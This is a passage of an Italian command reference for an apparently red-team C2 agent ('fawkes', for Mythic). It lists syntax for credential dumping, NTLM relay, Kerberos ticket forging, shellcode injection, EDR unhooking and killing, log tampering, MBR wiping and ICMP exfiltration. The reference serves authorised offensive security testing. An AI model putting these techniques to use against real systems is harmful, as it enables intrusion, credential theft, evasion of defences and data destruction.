ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | Interroga Active Directory tramite LDAP. Query preimpostate per utenti, computer, gruppi, amministratori di dominio, tutti gli amministratori (adminCount), SPN, AS-REP roastable, account disabilitati, GPO, OU, password-never-expires, trust di dominio, delega non vincolata/vincolata, analisi DACL, estrazione password gMSA, raccolta BloodHound CE v6 (utenti/computer/gruppi/OU/GPO/trust per analisi del grafo), o filtri LDAP personalizzati. Multipiattaforma (T1087.002, T1482, T1555, T1003, T1615).
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | Modifica oggetti AD tramite LDAP. Appartenenza a gruppi, attributi, SPN, abilita/disabilita account, reset password, shadow credentials, creazione account macchina, delega RBCD, eliminazione oggetti. Abuso GPO: inietta attività pianificate (gpo-task) o script di avvio (gpo-script). ADCS: modifica template di certificato per sfruttamento ESC1/ESC4. Multipiattaforma (T1098, T1556.006, T1484.001, T1649).
kill | `kill -pid <PID>` | Termina un processo tramite PID. Multipiattaforma (Windows/Linux/macOS).
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | Legge le password LAPS da AD tramite LDAP. Supporta LAPS v1 (ms-Mcs-AdmPwd) e Windows LAPS v2 (ms-LAPS-Password). Multipiattaforma (T1552.006).
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(Solo Windows)** Estrae segreti LSA (password di servizi, chiavi DPAPI, account macchina) e credenziali di dominio memorizzate nella cache (formato hashcat DCC2/MSCacheV2). Richiede SYSTEM (T1003.004, T1003.005).
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(Solo macOS)** Installa, rimuove o elenca la persistenza LaunchAgent/LaunchDaemon. Crea plist con RunAtLoad+KeepAlive.
link | `link -host <ip> -port <port> [-connection_type tcp\|namedpipe] [-pipe_name <name>]` | Collega a un agente P2P tramite TCP o named pipe per pivoting interno. La modalità named pipe usa la porta SMB 445 per traffico Windows più furtivo. TCP multipiattaforma, named pipe solo Windows (T1572).
ln | `ln -target <existing> -link <new> [-symbolic true] [-force true]` | Crea collegamenti simbolici o fisici. I collegamenti simbolici possono puntare a percorsi inesistenti. La modalità force sostituisce il collegamento esistente. Multipiattaforma (T1036).
linux-logs | `linux-logs -action <list\|read\|logins\|clear\|truncate\|shred> [-file <path>] [-search <filter>] [-lines <n>]` | **(Solo Linux)** Elenca, legge, cancella o manomette i file di log Linux e i record di accesso binari (wtmp/btmp/utmp). Supporta la rimozione selettiva di righe e la triturazione sicura (T1070.002).
logonsessions | `logonsessions [-action list\|users] [-filter <name>]` | **(Windows, Linux, macOS)** Enumera le sessioni di accesso attive — utenti, ID sessione, stazioni, stato della connessione. Filtra per nome utente. Windows: API WTS. Linux: parsing utmp. macOS: parsing utmpx.
lolbin | `lolbin -action <technique> -path <payload/code/URL> [-export <func>] [-args <extra>]` | **(Windows, Linux, macOS)** Esecuzione proxy LOLBin/GTFOBin. Windows: rundll32, msiexec, regsvcs, regasm, mshta, certutil, regsvr32, installutil, vbs. Multipiattaforma: python, lua, perl, ruby, node, awk. Linux: curl, wget, gcc. macOS: osascript, swift, open, curl. T1218/T1059.
ls | `ls [path]` | Elenca file e cartelle con proprietario/gruppo e timestamp. Integrazione con il browser dei file. Predefinito alla directory corrente.
make-token | `make-token -username <user> -domain <domain> -password <pass> [-action impersonate\|spawn\|auto-verify -command <cmd>]` | **(Solo Windows)** Crea un token dalle credenziali: impersonalo, avvia un processo o **auto-verify** (impersona poi whoami + catena getprivs) (T1134.002).
masquerade | `masquerade -source <file> -technique <type> [-disguise <value>] [-in_place]` | Mascheramento e occultamento di file — maschera file (doppia estensione, RtLO, spazio, corrispondenza processo) o nascondi dall'enumerazione (nascondi/mostra). Windows: attributi +H/+S. Linux: prefisso dot. macOS: UF_HIDDEN + prefisso dot (T1036, T1564.001).
mkdir | `mkdir <directory>` | Crea una nuova directory (crea le directory padre se necessario).
module-stomp | `module-stomp -pid <PID> [-dll_name <DLL>]` | **(Solo Windows)** Inietta shellcode calpestando la sezione .text di una DLL legittima. Lo shellcode viene eseguito dallo spazio degli indirizzi di una DLL firmata, bypassando il rilevamento della memoria privata (T1055.001).
modules | `modules [-pid <PID>] [-filter <name>]` | Elenca i moduli/DLL/librerie caricati in un processo con filtro opzionale per nome. Multipiattaforma (T1057).
mem-scan | `mem-scan -pid <PID> -pattern <string> [-hex] [-max_results <n>] [-context_bytes <n>]` | Cerca nella memoria del processi pattern di byte con output hex dump. Windows: VirtualQueryEx/ReadProcessMemory. Linux: /proc/pid/maps+mem. macOS: mach_vm_region/mach_vm_read (solo self-scan). Supporta pattern stringa ed esadecimali. Multipiattaforma (T1005, T1057).
mount | `mount [-filter <substring>] [-fstype <type>]` | Elenca i filesystem montati con dispositivo, punto di mount, tipo e opzioni. Supporta filtri per nome o tipo di filesystem. Multipiattaforma (T1082).
mv | `mv <source> <destination>` | Sposta o rinomina un file dalla sorgente alla destinazione.
named-pipes | `named-pipes [-filter <pattern>]` | **(Windows, Linux, macOS)** Elenca named pipe (Windows), socket di dominio Unix e FIFO (Linux/macOS) per scoperta IPC. Supporta filtri per sottostringa (T1083).
net-enum | `net-enum -action <users\|groups\|groupmembers\|admins\|sessions\|shares\|domainusers\|domaingroups\|domaininfo\|loggedon\|mapped> [-target <host>] [-group <name>]` | **(Windows, Linux, macOS)** Enumerazione di rete multipiattaforma. Utenti, gruppi, membri di gruppi, amministratori, sessioni, condivisioni. Windows: Win32 NetAPI (query di dominio, unità mappate). Linux: /etc/passwd + /etc/group + utmp + NFS/Samba. macOS: dscl + who + sharing. (T1033, T1049, T1087, T1135).
net-group | `net-group -action <list\|members\|user\|privileged> -server <DC> [-group <name>] [-user <sAMAccountName>] -username <user@domain> -password <pass>` | Enumera le appartenenze ai gruppi AD tramite LDAP. Risoluzione ricorsiva dei membri, ricerca dei gruppi di un utente, enumerazione dei gruppi privilegiati. Multipiattaforma (T1069.002).
net-user | `net-user -action <add\|delete\|info\|password\|group-add\|group-remove\|disable\|enable\|lockout> -username <name> [-password <pass>] [-group <group>]` | Gestisce account utente locali e appartenenza a gruppi. Windows: API netapi32. Linux: useradd/userdel/usermod/chpasswd. macOS: dscl/dseditgroup. Disabilita/abilita/blocca per simulazione ransomware T1531. Multipiattaforma (T1136.001, T1098, T1531).
net-stat | `net-stat [-state <LISTEN\|ESTABLISHED\|...>] [-proto <tcp\|udp>] [-port <number>] [-pid <number>]` | Elenca le connessioni di rete attive e le porte in ascolto con protocollo, stato, PID e nome processo. Supporta filtri per stato, protocollo, porta e ID processo. Multipiattaforma.
ntdll-unhook | `ntdll-unhook [-action unhook\|check] [-dll ntdll.dll\|kernel32.dll\|kernelbase.dll\|advapi32.dll\|user32.dll\|all] [-source disk\|knowndlls]` | **(Solo Windows)** Rimuove gli hook EDR inline dalle DLL ripristinando la sezione .text da una copia pulita. Supporta 5 DLL o `all`. `check` segnala gli hook senza modificarli. La sorgente `knowndlls` usa oggetti sezione \\KnownDlls\\ (evita I/O su disco — più OPSEC-friendly) (T1562.001).
syscalls | `syscalls [-action status\|list\|init]` | **(Solo Windows)** Risolutore indiretto di syscall. Analizza le esportazioni di ntdll per risolvere i numeri di syscall Nt* e genera stub che saltano al gadget syscall;ret di ntdll. Quando attivo, i comandi di iniezione bypassano gli hook API in userland (T1106).
opus-injection | `opus-injection` | **(Solo Windows)** Iniezione in processo basata su callback. Variante 1: Catena di gestori Ctrl-C. Variante 4: PEB KernelCallbackTable. [Dettagli](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#opus-injection)
persist | `persist -method <method> -action <install\|remove\|check>` | **(Windows, Linux, macOS)** Installa o rimuove persistenza. Windows: registro, cartella di avvio, com-hijack, screensaver, ifeo, winlogon, print-processor, accessibilità, active-setup, time-provider, port-monitor, wmi-event (T1546.003), netsh-helper (T1546.007). Linux: crontab, systemd, shell-profile, ssh-key, xdg-autostart, motd (root, T1546), rc-local (root, T1037.004), apt-hook (root, T1546), udev-rule (root, T1546). macOS: launchagent, periodic (root, T1053.003), folder-action (T1546), login-item (T1547.015), auth-plugin (root, T1547.002), dylib-hijack (T1574.004, scan/install/remove), xpc-service (MachServices + KeepAlive). Tutti i metodi supportano install/remove/list.
persist-enum | `persist-enum [-category <all\|platform-specific>]` | **(Windows, Linux, macOS)** Enumerazione in sola lettura dei meccanismi di persistenza. Windows: registro, avvio, attività, servizi. Linux: cron, systemd, profili shell, chiavi SSH, LD_PRELOAD, regole udev, moduli kernel, motd, lavori at, servizi D-Bus, moduli PAM, hook di pacchetto, script logrotate, dispatcher NetworkManager, anacron. macOS: LaunchAgents, elementi di login, script periodici, plugin di autenticazione, emond, lavori at (T1547, T1546, T1053, T1543, T1556).
password-managers | `password-managers [-depth <N>]` | Scopre database e file di configurazione di gestori di password — KeePass (.kdbx), 1Password, Bitwarden, LastPass, Dashlane, KeePassXC. Multipiattaforma (T1555).
poolparty-injection | `poolparty-injection` | **(Solo Windows)** Inietta shellcode usando tecniche PoolParty che abusano degli interni del Thread Pool di Windows. Tutte le 8 varianti supportate. [Dettagli](https://github.com/galoryber/fawkes/blob/HEAD/research/injection-techniques.md#poolparty-injection)
ping | `ping -hosts <IP/CIDR/range> [-port 445]` o `ping -action exfil-icmp -target <IP> -file <path>` | Raggiungibilità host TCP connect (T1018) + esfiltrazione dati ICMP tramite payload di richiesta echo con codifica XOR e jitter (T1048.003, T1095).
pipe-server | `pipe-server -action <check\|impersonate> [-name <pipe>] [-timeout 30]` | **(Solo Windows)** Impersonificazione tramite named pipe per escalation dei privilegi. Crea server di named pipe, attende connessione di client privilegiato, impersona il token. Richiede SeImpersonatePrivilege (T1134.001).
printspoofer | `printspoofer [-timeout 15]` | **(Solo Windows)** Escalation dei privilegi PrintSpoofer — SeImpersonate a SYSTEM tramite Print Spooler. Crea named pipe, innesca connessione spooler tramite OpenPrinterW, impersona token SYSTEM. Un passaggio NETWORK SERVICE → SYSTEM (T1134.001).
pkg-list | `pkg-list [-filter <substring>]` | Elenca i pacchetti e il software installati. Enumera dpkg/rpm/apk (Linux), Homebrew/Applicazioni (macOS) o chiavi di disinstallazione del registro (Windows). Supporta filtri per nome. Multipiattaforma (T1518).
port-scan | `port-scan -hosts <IPs/CIDRs> [-ports <ports>] [-timeout <s>]` | Scansione TCP connect per scoperta di servizi di rete. Supporta CIDR, intervalli IP e intervalli di porte. Multipiattaforma.
powershell | `powershell <command> [--encoded]` | **(Solo Windows)** Esegue un comando PowerShell tramite powershell.exe con flag OPSEC-hardened (abbreviato, randomizzato). Supporta modalità comando codificato per nascondere gli argomenti dall'albero dei processi.
prefetch | `prefetch -action <list\|parse\|delete\|clear> [-name <exe>] [-count <max>]` | **(Solo Windows)** Analizza e gestisce i file Prefetch di Windows. Elenca i programmi eseguiti, analizza la cronologia di esecuzione (fino a 8 timestamp), elimina voci specifiche o cancella tutto. Supporta file compressi MAM (T1070.004).
privesc-check | `privesc-check -action <all\|auto-escalate\|privileges\|services\|registry\|uac\|dll-hijack\|dll-plant\|dll-sideload\|dll-exports\|hijack-execute\|hijack-deploy\|hijack-cleanup\|hijack-trigger\|service-registry\|...>` | Enumerazione e sfruttamento dell'escalation dei privilegi. `auto-escalate`: catena automatica di sotto-attività — enumera tutti i vettori poi tenta la migliore escalation disponibile (bypass UAC, furto token o sudo). `hijack-execute`: fabbrica automatica di DLL proxy — legge le esportazioni della DLL target, il server compila una DLL proxy con shellcode incorporato (mingw). `hijack-deploy`: distribuisce la DLL proxy (rinomina l'originale, posiziona la proxy). `hijack-trigger`: innesca il dirottamento — riavvia un servizio (`-trigger restart -service_name <svc>`) o avvia un processo (`-trigger spawn -source <exe>`) per caricare la DLL proxy. `hijack-cleanup`: inverte un dirottamento distribuito (elimina la proxy, ripristina l'originale). Windows: privilegi del token, servizi non quotati, AlwaysInstallElevated, auto-logon, UAC, file unattend, scansione di dirottamento DLL (DLL fantasma, PATH scrivibile, KnownDLLs), piantumazione DLL con timestomping, sideloading DLL, enumerazione esportazioni PE (dll-exports con generazione file DEF), abuso dei permessi del registro di servizio. Linux: SUID/SGID, capacità, sudo, container, dirottamento cron, NFS no_root_squash, unità systemd, token sudo, dirottamento PATH, gruppo docker, gruppi pericolosi, regole Polkit, hook modprobe, iniezione ld.so.preload, moduli di sicurezza (AppArmor/SELinux). macOS: LaunchDaemons, TCC, dirottamento dylib, SIP. Multipiattaforma (T1548, T1574.001, T1574.002, T1574.009, T1574.011).
psexec | `psexec -host <target> -command <cmd> [-name <svcname>] [-cleanup <true\|false>]` o `psexec -action check -host <target>` | **(Solo Windows)** Esegue comandi su host remoti tramite creazione di servizio SCM — movimento laterale stile PSExec. `check` valida i prerequisiti (SMB 445, accesso SCM, condivisioni amministrative) senza eseguire. MITRE T1021.002, T1569.002.
proc-info | `proc-info -action <info\|connections\|mounts\|modules> [-pid <PID>]` | **(Solo Linux)** Ispezione approfondita di /proc: dettagli del processo (cmdline, env, caps, cgroups, namespace, FD), connessioni di rete con risoluzione PID, mount, moduli kernel. MITRE T1057.
process-mitigation | `process-mitigation [-action query\|set] [-pid <PID>] [-policy <policy>]` | **(Solo Windows)** Interroga o imposta le policy di mitigazione del processo (DEP, ASLR, CIG, ACG, CFG). Imposta CIG per bloccare il caricamento di DLL non firmate (difesa EDR). MITRE T1480.
process-tree | `process-tree [-pid <PID>] [-filter <name>]` | Mostra la gerarchia dei processi come albero con relazioni genitore-figlio. Aiuta a identificare target di iniezione e strumenti di sicurezza. Multipiattaforma (T1057).
procdump | `procdump [-action lsass\|dump\|search] [-pid <PID>]` | Scarica la memoria di un processo. Windows: MiniDumpWriteDump con rilevamento automatico LSASS. Linux: scaricamento regione /proc/pid/mem. L'azione search trova processi che contengono credenziali. Carica su Mythic e pulisce dal disco. MITRE T1003.001, T1003.007.
proxy-check | `proxy-check [-test_url <URL>]` | Rileva le impostazioni del proxy dalle variabili d'ambiente, dalla configurazione del sistema operativo (registro, file di configurazione) e dal trasporto Go. Test di connettività opzionale. Multipiattaforma (T1016).
ps | `ps [-filter <name>] [-pid <PID>] [-ppid <PPID>] [-user <name>] [-v]` | Elenca i processi in esecuzione con integrazione del browser dei processi Mythic. Filtra per nome, PID, PPID o nome utente. Multipiattaforma.
ptrace-inject | `ptrace-inject -action <check\|inject> [-pid <PID>] [-filename <shellcode>] [-restore <true>] [-timeout <30>]` | **(Solo Linux, amd64/arm64)** Iniezione in processo tramite ptrace — PTRACE_ATTACH/POKETEXT/SETREGS con ripristino del registro e del codice. Pre-controllo di Yama ptrace_scope con indicazioni attuabili. La modalità check riporta ptrace_scope, capacità e candidati (T1055.008).
pty | `pty [-shell /bin/bash] [-rows 24] [-cols 80]` | **(Linux/macOS)** Avvia una sessione interattiva PTY tramite il tasking interattivo di Mythic. Emulazione terminale completa con I/O bidirezionale (T1059).
pwd | `pwd` | Stampa la directory di lavoro corrente.
read-memory | `read-memory <dll_name> <function_name> <start_index> <num_bytes>` | **(Solo Windows)** Legge byte dall'indirizzo di una funzione DLL.
reg | `reg -action <read\|write\|delete\|search\|save\|creds> [-hive HKLM] [-path ...] [...]` | **(Solo Windows)** Operazioni unificate sul registro — legge, scrive, elimina, cerca e salva hive (T1012, T1112, T1003.002).
remote-reg | `remote-reg -action <query\|enum\|set\|delete> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-hive HKLM] [-path ...] [-name <val>]` | Legge/scive il registro su host Windows remoti tramite WinReg RPC su named pipe SMB. Supporta pass-the-hash. Multipiattaforma (T1012, T1112, T1021.002).
remote-service | `remote-service -action <list\|query\|create\|start\|stop\|delete\|modify-path\|trigger\|dll-sideload> -server <host> -username <user> [-password <pass>\|-hash <NT>] [-name <svc>] [-binpath <path>]` | Gestisce servizi su host Windows remoti tramite SVCCTL RPC. Operazioni standard + movimento laterale avanzato: modify-path (dirotta binpath del servizio esistente), trigger (crea servizio avviato da trigger), dll-sideload (dirottamento del registro ServiceDll). Pass-the-hash. Multipiattaforma (T1569.002, T1543.003, T1574.001).
rev2self | `rev2self` | **(Solo Windows)** Torna al contesto di sicurezza originale eliminando qualsiasi token di impersonificazione attivo.
route | `route [-destination <IP>] [-gateway <IP>] [-interface <name>]` | Mostra la tabella di routing del sistema con filtro opzionale. Windows: API GetIpForwardTable, Linux: /proc/net/route + IPv6, macOS: netstat -rn. Multipiattaforma (T1016).
rpfwd | `rpfwd start <port> <remote_ip> <remote_port>` / `rpfwd forward <port> <target_ip> <target_port> [bind_addr]` / `rpfwd stop <port>` | Port forwarding: reverse (Mythic instrada verso il target) o forward (l'agente inoltra al target interno). Multipiattaforma (T1090).
rm | `rm [-path <path>] [-secure true]` | Rimuove un file o una directory. `-secure true` sovrascrive con dati casuali (3 passaggi) prima dell'eliminazione, impedendo il recupero forense (T1070.004).
run | `run <command>` | Esegue un comando shell e restituisce l'output.
runas | `runas -command <cmd> -username <user> -password <pass> [-domain <domain>] [-netonly true]` | Esegue un comando come utente diverso. Windows: CreateProcessWithLogonW (supporta /netonly). Linux/macOS: setuid come root, o sudo -S con password. Multipiattaforma (T1134.002).
schtask | `schtask -action <create\|query\|delete\|run\|list\|enable\|disable\|stop> -name <name> [-program <path>] [-trigger <type>] [-filter <substring>]` | Gestisce attività pianificate. Windows: API COM Task Scheduler. Linux: crontab, timer systemd, lavori at. macOS: LaunchAgents/LaunchDaemons, crontab, at. Multipiattaforma (T1053).
screenshot | `screenshot [-action single\|record] [-interval <sec>] [-duration <sec>] [-max_frames <n>]` | Cattura uno screenshot singolo o registra screenshot continui a intervalli. Carica come PNG. modalità record: intervallo/durata/max_frames configurabili, fermabile tramite jobkill. Windows: GDI. macOS: screencapture. Linux: rilevamento automatico X11/Wayland. Multipiattaforma (T1113).
secret-scan | `secret-scan [-path /home/user] [-depth 5] [-max_results 100]` | Cerca nei file segreti, chiavi API, chiavi private, stringhe di connessione e pattern sensibili. 42 pattern regex (AWS, GitHub, Slack, Stripe, Vault, DigitalOcean, Shopify, Databricks, New Relic, PagerDuty, Okta, Sentry, Datadog, CircleCI, ecc.) con oscuramento del valore. Camminata delle directory con limite di profondità, salta le directory rumorose. Multipiattaforma (T1552.001, T1005).
secure-delete | `secure-delete [-action delete\|wipe\|wipe-mbr] -path <file_or_device> [-passes <n>] [-confirm DESTROY]` | Elimina file in modo sicuro, cancella dati o distrugge record di avvio. `delete`: sovrascrittura casuale + rimozione. `wipe`: distruzione pattern aggressiva (T1485). `wipe-mbr`: sovrascrive il record di avvio MBR/GPT sul dispositivo disco raw (T1561). Cancello di sicurezza richiesto. Multipiattaforma (T1070.004, T1485, T1561).
security-info | `security-info [-action all\|edr\|minifilter-enum\|kernel-drivers]` | Riporta la posizione di sicurezza e i controlli attivi, rileva prodotti EDR/XDR (oltre 20 vendor), enumera driver minifilter con classificazione EDR, o elenca i driver kernel caricati con analisi EDR/callback. SELinux/AppArmor/seccomp/ASLR (Linux), SIP/Gatekeeper/FileVault (macOS), Defender/UAC/Credential Guard/BitLocker (Windows). Multipiattaforma (T1082, T1518.001).
sniff | `sniff [-action capture\|poison\|relay\|ldap-relay] [-interface eth0] [-duration 30] [-response_ip <target>] [-protocols llmnr,nbtns,mdns] [-ports listen:target]` | Sniffing di rete, avvelenamento e relay NTLM. `capture`: estrazione passiva di credenziali (HTTP, FTP, NTLM, Kerberos, LDAP, SMTP AUTH, Telnet). `poison`: responder attivo con cattura hash SMB+HTTP — hash NTLMv2 in modalità hashcat 5600. `relay`: relay NTLM verso SMB target. `ldap-relay`: relay NTLM verso LDAP target con operazioni post-autenticazione (whoami, add-computer, RBCD, dump-laps) (T1040, T1557.001).
share-hunt | `share-hunt -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-depth <n>] [-filter <all\|credentials\|configs\|code>]` | Sfoglia le condivisioni SMB su più host alla ricerca di file sensibili — credenziali, configurazioni, script. Ricerca ricorsiva di directory con supporto pass-the-hash. Multipiattaforma (T1135, T1039).
smb | `smb -action <shares\|ls\|cat\|upload\|rm\|mkdir\|mv\|push\|exfil\|taint\|share-perms\|share-spider\|share-search> -host <target> -username <user> [-password <pass>] [-hash <NT hash>] [-share <name>] [-path <path>] [-depth <n>] [-extensions <.docx,.xlsx>] [-patterns <*.kdbx,web.config>] [-max_results <n>]` | Operazioni su file SMB2 su condivisioni remote — elenca, sfoglia, legge/scrive/elimina, push per trasferimento laterale di strumenti, exfil per esfiltrazione dati, taint per piantumare file. **share-perms**: testa accesso in lettura/scrittura su tutte le condivisioni. **share-spider**: elenco ricorsivo delle directory con filtri di profondità/estensione. **share-search**: trova file sensibili attraverso le condivisioni utilizzando pattern incorporati o personalizzati. Autenticazione NTLM + pass-the-hash. Multipiattaforma (T1021.002, T1039, T1080, T1135, T1550.002, T1570, T1048.003).
service | `service -action <query\|start\|stop\|restart\|create\|delete\|list\|enable\|disable\|edr-enum\|edr-kill> -name <name> [-binpath <path>] [-confirm EDR-KILL]` | **(Windows, Linux, macOS)** Gestisce servizi + targeting EDR/AV. `edr-enum`: rileva servizi di sicurezza installati (oltre 60 firme). `edr-kill`: ferma+disabilita EDR rilevato (cancello di sicurezza richiesto). Windows SCM, Linux systemd, macOS launchd (T1543, T1489, T1562.001).
setenv | `setenv -action <set\|unset> -name <NAME> [-value <VALUE>]` | Imposta o rimuove variabili d'ambiente nel processo agente. Multipiattaforma.
shell-config | `shell-config -action <history\|list\|read\|inject\|remove\|clear> [-file <.bashrc>] [-line <cmd>] [-lines <count>]` | Legge la cronologia della shell, elenca/legge/inietta/rimuove/cancella i file di configurazione della shell. Linux/macOS: bashrc/zshrc. Windows: profili PowerShell + cronologia PSReadLine. T1546.004/T1546.013/T1552.003/T1070.003.
sleep | `sleep [seconds] [jitter] [working_start] [working_end] [working_days]` o `sleep -interval 60 -jitter 30 -jitter_profile normal` | Imposta intervallo di callback, jitter, ore lavorative e profilo di distribuzione del jitter (uniforme/normale/esponenziale). La distribuzione normale si raggruppa vicino all'intervallo; quella esponenziale imita pattern umani a raffica.
socks | `socks <start\|stop\|stats\|bandwidth> [port] [-bandwidth_kbs N]` | Avvia, ferma, mostra statistiche o imposta larghezza di banda per proxy SOCKS5. Supporta TCP CONNECT e UDP ASSOCIATE (RFC 1928) per relay di strumenti DNS/UDP attraverso il proxy. Limitazione opzionale della larghezza di banda per connessione in KB/s. Le statistiche mostrano connessioni attive, byte TX/RX, cronologia recente.
sort | `sort -path <file> [-reverse true] [-numeric true] [-unique true]` | Ordina le righe di un file. Supporta modalità alfabetica, numerica, inversa e univoca. Multipiattaforma (T1083).
spawn | `spawn -path <exe> [-ppid <pid>] [-blockdlls true]` | **(Solo Windows)** Avvia un processo o thread sospeso per iniezione. Supporta PPID spoofing (T1134.004) e blocco delle DLL non Microsoft.
spray | `spray -action <kerberos\|ldap\|smb> -server <DC> -domain <DOMAIN> -users <user1\nuser2> [-password <pass>] [-hash <NT hash>] [-delay <ms>] [-jitter <0-100>]` | Password spray contro AD tramite pre-autenticazione Kerberos, bind LDAP o autenticazione SMB. SMB supporta pass-the-hash. Consapevole del blocco con ritardo/jitter configurabili. Multipiattaforma (T1110.003, T1550.002).
ssh | `ssh [-action exec\|push\|check\|tunnel-local\|tunnel-remote\|tunnel-dynamic\|tunnel-list\|tunnel-stop] -host <target> -username <user> [-password <pass>] [-key_path <path>] [-command <cmd>] [-local_port <port>] [-remote_host <host>] [-remote_port <port>]` | Esegue comandi, carica file o crea tunnel SSH. `check` valida i prerequisiti SSH (porta, autenticazione, shell). tunnel-local (-L), tunnel-remote (-R), tunnel-dynamic (-D SOCKS5). Multipiattaforma (T1021.004, T1570, T1572).
ssh-agent | `ssh-agent [-action <list\|enum>] [-socket /path/to/agent.sock]` | **(Solo Linux/macOS)** Enumera i socket dell'agente SSH e le chiavi caricate. Scopre SSH_AUTH_SOCK, scansiona /tmp/ssh-*, /run/user/*, portachiavi GNOME. Riporta le impronte delle chiavi al deposito credenziali (T1552.004).
ssh-keys | `ssh-keys -action <list\|add\|remove\|read-private\|enumerate\|generate\|find-reachable\|try-keys\|auto-move> [-key <ssh_key>] [-user <username>] [-targets <range>] [-host <ip>] [-username <user>] [-command <cmd>]` | Gestione delle chiavi SSH e automazione del movimento laterale. Legge/inietta authorized_keys, legge chiavi private, genera coppie di chiavi, enumera configurazione SSH. Movimento laterale: find-reachable (scansione sottorete), try-keys (testa chiavi), auto-move (catena scan→auth→exec). Windows: sessioni/registro PuTTY, chiavi .ppk, WSL, OpenSSH, git SSH config. Multipiattaforma (T1552.004, T1552.002, T1098.004, T1021.004, T1046).
stat | `stat -path <file_or_dir>` | Mostra i metadati di file/directory: tipo, dimensione, permessi, timestamp. Dettagli specifici della piattaforma — inode/proprietario (Linux/macOS), attributi file (Windows). Consapevole dei collegamenti simbolici tramite Lstat. Multipiattaforma (T1083).
strings | `strings -path <file> [-min_length <n>] [-pattern <text>] [-offset <bytes>] [-max_size <bytes>]` | Estrae stringhe ASCII stampabili da file. Trova testo incorporato, URL, credenziali in binari. Filtro pattern, controllo lunghezza minima, offset/dimensione massima. Multipiattaforma (T1005).
start-clr | `start-clr [-action execute-assembly -assembly <b64> -arguments <args>]` | **(Solo Windows)** Inizializza CLR v4 o esegue assembly .NET. L'azione `execute-assembly` applica automaticamente patch AMSI+ETW ed esegue l'assemblea in un unico passo (come CS execute-assembly). Modalità manuale con -amsi_patch/-etw_patch per controllo fine.
systemd-persist | `systemd-persist -action <install\|remove\|list> -name <unit> [-exec_start <cmd>] [-timer <calendar>] [-system true]` | **(Solo Linux)** Installa, rimuove o elenca la persistenza di servizi/timer systemd. Ambito utente o di sistema. MITRE T1543.002.
steal-token | `steal-token -pid <pid> [-action spawn -command <cmd>]` | **(Solo Windows)** Ruba un token da un altro processo: impersonalo o avvia un processo con esso (T1134.002).
token-store | `token-store -action <save\|list\|use\|remove\|history> -name <label>` | **(Solo Windows)** Vault di token nominati — salva, elenca, ripristina, rimuove e visualizza la cronologia delle transizioni di identità. Consente il cambio rapido tra identità rubate/create senza dover rubare di nuovo (T1134.001).
suspend | `suspend -action <suspend\|resume> -pid <PID>` | Sospende o riprende un processo. Pausa tattica di EDR/AV durante operazioni sensibili. Windows: NtSuspendProcess/NtResumeProcess. Linux/macOS: SIGSTOP/SIGCONT. Multipiattaforma (T1562.001).
sysinfo | `sysinfo [-action info\|full-profile]` | Informazioni complete sul sistema: versione OS, hardware, memoria, uptime, dominio, .NET (Windows), stato SELinux/SIP. `full-profile` esegue una catena automatica di profilazione host in 5 passi (sysinfo → ps → security-info → privesc-check → persist-enum). Multipiattaforma (T1082).
sysmon-config | `sysmon-config [-action check\|rules\|events]` | **(Solo Windows)** Rileva l'installazione di Sysmon ed estrae la configurazione — stato servizio/driver, algoritmo hash, flag opzioni, dimensione dati regole, canali eventi. Rileva installazioni rinominata tramite altitudine minifilter (T1518.001, T1562.001).
tac | `tac -path <file>` | Stampa le righe del file in ordine inverso. Utile per visualizzare i log dal più recente al più vecchio. Multipiattaforma (T1083).
tail | `tail -path <file> [-lines <N>] [-head true] [-bytes <N>]` | Legge le prime o ultime N righe/byte di un file senza trasferire l'intero contenuto. Buffer circolare per tail efficiente, ricerca inversa per file grandi. Multipiattaforma (T1005, T1083).
tcc-check | `tcc-check [-service <filter>]` | **(Solo macOS)** Enumera i permessi TCC (Trasparenza, Consenso e Controllo). Scopre quali app hanno accesso a fotocamera, microfono, registrazione schermo, accesso completo al disco. Raggruppa per servizio con riepilogo consentito (T1082).
touch | `touch -path <file> [-mkdir true]` | Crea un file vuoto o aggiorna i timestamp di un file esistente. Creazione opzionale della directory padre. Multipiattaforma (T1106).
thread-hijack | `thread-hijack -pid <PID> [-tid <TID>]` | **(Windows, macOS)** Inietta shellcode tramite dirottamento dell'esecuzione del thread — sospende un thread esistente, reindirizza PC/RIP allo shellcode, riprende. macOS usa API Mach (task_for_pid + thread_get/set_state), richiede root (T1055.003).
threadless-inject | `threadless-inject` | **(Solo Windows)** Inietta shellcode usando iniezione senza thread agganciando una funzione DLL in un processo remoto. Più furtivo dell'iniezione vanilla poiché non crea nuovi thread.
ticket | `ticket -action forge\|request\|diamond\|renew\|s4u\|pkinit -realm <DOMAIN> -username <user> -key <hex_key> [-key_type aes256\|aes128\|rc4] [-format kirbi\|ccache] [-domain_sid <SID>] [-spn <SPN>] [-server <KDC>] [-impersonate <user>] [-krbtgt_key <hex>] [-target_user <user>] [-ticket <base64>] [-certificate <pem>] [-private_key <pem>]` | Falsifica, richiede, rinnova, delega o autentica con certificato ticket Kerberos. Forge: Golden/Silver Tickets (offline). Request: Overpass-the-Hash (online). Diamond: scambio AS reale + modifica del ticket per evasione. Renew: estende la durata del TGT. S4U: delega vincolata tramite S4U2Self+S4U2Proxy. PKINIT: autenticazione basata su certificato da ADCS/Shadow Creds. Multipiattaforma (T1558.001, T1558.002, T1550.002, T1134.001, T1649).
tr | `tr -path <file> -from [:lower:] -to [:upper:]` | Traduce, comprime o elimina caratteri nel contenuto del file. Supporta classi e intervalli di caratteri. Multipiattaforma (T1083).
